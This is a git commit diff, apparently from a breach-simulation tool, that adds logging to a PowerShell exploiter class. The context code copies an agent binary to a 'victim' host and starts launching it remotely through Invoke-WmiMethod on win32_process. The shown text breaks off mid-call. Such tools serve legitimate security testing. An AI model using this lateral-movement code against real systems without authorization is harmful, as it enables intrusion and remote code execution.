Agent: Add useful logging to powershell exploiter

This commit is contained in:
Mike Salvatore 2021-08-25 13:25:42 -04:00
parent 876cdbeffa
commit b871398682
1 changed files with 7 additions and 0 deletions

View File

@ -127,10 +127,13 @@ class PowerShellExploiter(HostExploiter):
monkey_local_file.write(monkey_virtual_file.read())
def _copy_monkey_binary_to_victim(self, dest: str) -> bool:
LOG.debug(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
try:
self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, dest)
LOG.info(f"Successfully copied the monkey agent binary to {self.host.ip_addr}")
return True
except Exception:
LOG.warning(f"Failed to copy the monkey agent binary to {self.host.ip_addr}")
return False
finally:
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
@ -140,6 +143,10 @@ class PowerShellExploiter(HostExploiter):
self.host, get_monkey_depth() - 1, executable_path
)
LOG.debug(
f"Attempting to execute the monkey agent on remote host "
f'{self.host.ip_addr} with commmand "{monkey_execution_command}"'
)
with self.client.wsman, RunspacePool(self.client.wsman) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(